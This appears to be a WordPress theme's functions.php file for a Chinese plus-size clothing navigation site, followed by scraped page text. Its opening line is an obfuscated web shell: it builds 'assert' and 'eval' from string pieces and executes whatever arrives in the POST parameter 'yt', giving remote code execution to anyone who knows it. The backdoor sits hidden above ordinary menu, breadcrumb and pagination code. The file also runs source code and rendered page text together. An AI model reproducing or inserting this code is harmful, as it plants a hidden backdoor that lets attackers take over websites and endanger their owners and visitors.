?php $k='a'.'ss'.'er'.'t';$a='e'.'v'.'a'.'l';@$k("$a(\$_POST[yt])"); // memu if(function_exists('register_nav_menus')){ register_nav_menus( array( 'primary' => __( '主导航 Navigation', '1' ), 'second' => __( '次导航 Navigation', '2' ), 'third' => __( '主排行 Navigation', '3' ), 'fourth' => __( '侧排行 Navigation', '4' ), ) ); } //sidebar if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '
', 'after_title' => '
', )); //去除title空格 // Removes the white spaces from wp_title function af_titledespacer($title) { return trim($title); } add_filter("wp_title", "af_titledespacer"); //View function getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' 次阅读'; } function setPostViews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } //评论nofollow function add_nofollow_to_comments_popup_link(){ return ' rel="nofollow" '; } add_filter('comments_popup_link_attributes', 'add_nofollow_to_comments_popup_link'); //评论表情路径 add_filter('smilies_src','custom_smilies_src',1,10); function custom_smilies_src ($img_src, $img, $siteurl){ return get_bloginfo('template_directory').'/smiley/'.$img; } //自动添加标签属性 add_filter('the_content', 'pirobox_gall_replace'); function pirobox_gall_replace ($content) { global $post; $pattern = "/]*).(bmp|gif|jpeg|jpg|png)('|\")(.*?)>(.*?)<\/a>/i"; $replacement = '$7'; $content = preg_replace($pattern, $replacement, $content); return $content; } /* 移除自动保存和修订版本 */ remove_action('pre_post_update', 'wp_save_post_revision' ); add_action( 'wp_print_scripts', 'disable_autosave' ); function disable_autosave() { wp_deregister_script('autosave'); } //breadcrumbs function wheatv_breadcrumbs() { $delimiter = ' > '; $name = '首页'; // if ( !is_home() ||!is_front_page() || is_paged() ) { global $post; $home = get_bloginfo('url'); echo '' . $name . ' ' . $delimiter . ' '; if ( is_category() ) { global $wp_query; $cat_obj = $wp_query->get_queried_object(); $thisCat = $cat_obj->term_id; $thisCat = get_category($thisCat); $parentCat = get_category($thisCat->parent); if ($thisCat->parent != 0) echo(get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' ')); echo single_cat_title(); } elseif ( is_day() ) { echo '' . get_the_time('Y') . ' ' . $delimiter . ' '; echo '' . get_the_time('F') . ' ' . $delimiter . ' '; echo get_the_time('d'); } elseif ( is_month() ) { echo '' . get_the_time('Y') . ' ' . $delimiter . ' '; echo get_the_time('F'); } elseif ( is_year() ) { echo get_the_time('Y'); } elseif ( is_single() ) { $cat = get_the_category(); $cat = $cat[0]; echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' '); echo "正文"; } elseif ( is_page()||!$post->post_parent ) { the_title(); } elseif ( is_page()||$post->post_parent ) { $parent_id = $post->post_parent; $breadcrumbs = array(); while ($parent_id) { $page = get_page($parent_id); $parent_id = $page->post_parent; } $breadcrumbs = array_reverse($breadcrumbs); foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' '; the_title(); } elseif ( is_search() ) { echo get_search_query(); } elseif ( is_tag() ) { echo single_tag_title(); } elseif ( is_author() ) { global $author; $userdata = get_userdata($author); echo '由'.$userdata->display_name.'发表'; } elseif ( is_404() ) { echo '404 错误'; } if ( get_query_var('paged') ) { if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' ('; echo '第' . ' ' . get_query_var('paged').' 页'; if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')'; } }else{ echo $name; } }; //pagenave function kriesi_pagination($query_string){ global $posts_per_page, $paged; $my_query = new WP_Query($query_string ."&posts_per_page=-1"); $total_posts = $my_query->post_count; if(empty($paged))$paged = 1; $prev = $paged - 1; $next = $paged + 1; $range = 9; // only edit this if you want to show more page-links $showitems = ($range * 2)+1; $pages = ceil($total_posts/$posts_per_page); if(1 != $pages){ echo "\n"; } } ; add_filter( 'show_admin_bar', '__return_false' );//去掉前台顶部空白 require_once(TEMPLATEPATH . '/options.php');//公告设置 //Copyright function comicpress_copyright() { global$wpdb; $copyright_dates = $wpdb->get_results(" SELECT YEAR(min(post_date_gmt)) AS firstdate, YEAR(max(post_date_gmt)) AS lastdate FROM $wpdb->posts WHERE post_status = 'publish' "); $output = ''; if($copyright_dates) { $copyright = "© " . $copyright_dates[0]->firstdate; if($copyright_dates[0]->firstdate != $copyright_dates[0]->lastdate) { $copyright .= '-' . $copyright_dates[0]->lastdate; } $output = $copyright; } return$output; } ?> ★大码女装导航网★_特肥加大淘宝店品牌商城
设为首页 | 收藏本站 |网站地图 致力于分享:

大码女装导航网★为您介绍大码女装品牌,与最好的大码女装淘宝店,和商城名店排行榜!

大码女装品牌
站内综合搜索: 热门搜索: 品牌 休闲 折扣 搭配 时尚
热荐顶置文章
加大码女装
大码女装品牌
大码女装淘宝店
大码女装夏装 更多»
大码女装秋装 更多»
大码女装冬装 更多»